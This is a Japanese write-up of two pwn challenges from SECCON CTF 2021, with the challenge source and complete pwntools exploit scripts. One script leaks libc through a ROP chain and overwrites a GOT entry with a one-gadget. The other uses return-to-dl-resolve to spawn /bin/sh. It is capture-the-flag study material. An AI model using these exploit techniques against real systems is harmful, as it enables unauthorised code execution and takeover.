<SECCON CTF 2021> Writeup

はじめに


12 月 11 日(土)14 : 00 から 24 時間行われていた SECCON CTF 2021 にチーム TSG で参加しました。


僕は Average Calculator を解いて、129 pt だけ入れられました。また、点は入りませんでしたが kasu bof も解いたので、その解答も載せておきます。

Average Calculator (Pwn)


ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main()
{
    long long n, i;
    long long A[16];
    long long sum, average;
 
    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
 
    printf("n: ");
    if (scanf("%lld", &n)!=1)
        exit(0);
    for (i=0; i<n; i++)
    {
        printf("A[%lld]: ", i);
        if (scanf("%lld", &A[i])!=1)
            exit(0);
        //  prevent integer overflow in summation
        if (A[i]<-123456789LL || 123456789LL<A[i])
        {
            printf("too large\n");
            exit(0);
        }
    }
 
    sum = 0;
    for (i=0; i<n; i++)
        sum += A[i];
    average = (sum+n/2)/n;
    printf("Average = %lld\n", average);
}
$ checksec chall
[*] '/home/vagrant/SECCON/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fd000)
    RUNPATH:  b'.'


n < 17 のチェックがされていませんが、普通に入れても A[17] 以降が入力できません。

$ ./chall
n: 20
A[0]: 1
A[1]: 1
(snip . . .)
A[14]: 1
A[15]: 1
A[16]: 1
Average = 1


ループ処理の部分がこんな感じ。

0x00000000004012b5 <+319>:   add    QWORD PTR [rbp-0x8],0x1
0x00000000004012ba <+324>:   mov    rax,QWORD PTR [rbp-0x20]
0x00000000004012be <+328>:   cmp    QWORD PTR [rbp-0x8],rax
0x00000000004012c2 <+332>:   jl     0x40122a <main+180>


RBP - 0x20、RBP - 0x8 にそれぞれ n、i の値が入っていて、さらにそれぞれ A[16]、A[19] に対応するので、そこに入れる値を調整して、A[17] 以降も弾かれないようにします。


これでリターンアドレスを書き換えられますが、A [ i ] < 0x75bcd15 の制約があるので、配列 A に system( ) や one gadget のアドレスを入力できません。


そこで、scanf()を呼んで、直接printf()の GOT アドレスを書き換えます。


solve.py

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
HOST = 'average.quals.seccon.jp'
PORT = 1234
 
binf = ELF(bin_file)
libc = ELF('./libc.so.6')
 
def send_values(io, n):
    for i in range(20):
        io.sendlineafter(':', str(n))
 
    io.sendlineafter(':', '19')
    io.sendlineafter(':', '20')
 
def attack(io, **kwargs):
    pop_rdi = 0x4013a3
    pop_rsi_r15 = 0x4013a1
    addr_ret = 0x4013c4
    addr_ll = 0x402008
 
    send_values(io, 25)
    io.sendlineafter(':', str(pop_rdi))
    io.sendlineafter(':', str(binf.got.puts))
    io.sendlineafter(':', str(binf.plt.puts))
    io.sendlineafter(':', str(binf.sym._start))
 
    io.recvline()
    leak = unpack(io.recv(6), 'all')
    libc.address = leak - libc.sym.puts
    info('libc_base = 0x{:08x}'.format(libc.address))
 
    onegad = [0xdf54c, 0xdf54f, 0xdf552]
    addr_onegad = libc.address + onegad[1]
 
    send_values(io, 29)
    io.sendlineafter(':', str(pop_rdi))
    io.sendlineafter(':', str(addr_ll))
    io.sendlineafter(':', str(pop_rsi_r15))
    io.sendlineafter(':', str(binf.got.printf))
    io.sendlineafter(':', str(0))
    io.sendlineafter(':', str(binf.plt.__isoc99_scanf))
    io.sendlineafter(':', str(addr_ret))
    io.sendlineafter(':', str(binf.plt.printf))
 
    io.recvline()
    io.sendline(str(addr_onegad))
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main() 

kasu bof (Pwn)


ソースコード

// main.c
#include <stdio.h>
 
int main(void) {
  char buf[0x80];
  gets(buf);
  return 0;
}


問題文によると、return-to-dl-resolve というテクニックを使うらしいです。ももいろテクノロジー*1、こちらのページ*2、こちらのスライド*3を参考にしました。

答えだけ載せます。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'i386')
HOST = 'hiyoko.quals.seccon.jp'
PORT = 9001
  
binf = ELF(bin_file)
 
def attack(io, **kwargs):
    addr_base_stage = binf.bss() + 0x800
    addr_rel = addr_base_stage + 0x14
    addr_sym = addr_rel + 8
 
    addr_plt = 0x8049030
    addr_relplt = 0x80482d8
    addr_dynsym = 0x804820c
    addr_dynstr = 0x804825c
 
    rel_offset = addr_rel - addr_relplt
    align = 0x10 - ((addr_sym-addr_dynsym) % 0x10)
    addr_sym += align
    r_info = (((addr_sym - addr_dynsym) // 0x10) << 8) | 7
    addr_symstr = addr_sym + 0x10
    st_name = addr_symstr - addr_dynstr
    addr_arg = addr_symstr + 7
 
    base_stage = b'a' * 4
    base_stage += p32(addr_plt)
    base_stage += p32(rel_offset)
    base_stage += b'a' * 4
    base_stage += p32(addr_arg)
 
    rel = p32(binf.got.gets)
    rel += p32(r_info)
    rel += b'a' * align
 
    sym = p32(st_name)
    sym += p32(0)
    sym += p32(0)
    sym += p32(0x12)
 
    rop = ROP(binf)
    rop.gets(addr_base_stage)
    rop.gets(addr_rel)
    rop.gets(addr_sym)
    rop.gets(addr_symstr)
    rop.gets(addr_arg)
    rop.raw(rop.ebp)
    rop.raw(addr_base_stage)
    rop.raw(rop.leave)
 
    exploit = b'a' * 0x88 + rop.chain()
 
    io.sendline(exploit)
    io.sendline(base_stage)
    io.sendline(rel)
    io.sendline(sym)
    io.sendline(b'system\x00')
    io.sendline(b'/bin/sh\x00')
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

おわりに


チーム戦の雰囲気を知ることができてよかったです。

あと CTF 可視化エンジンの AMATERAS千がすごかったです(小並)。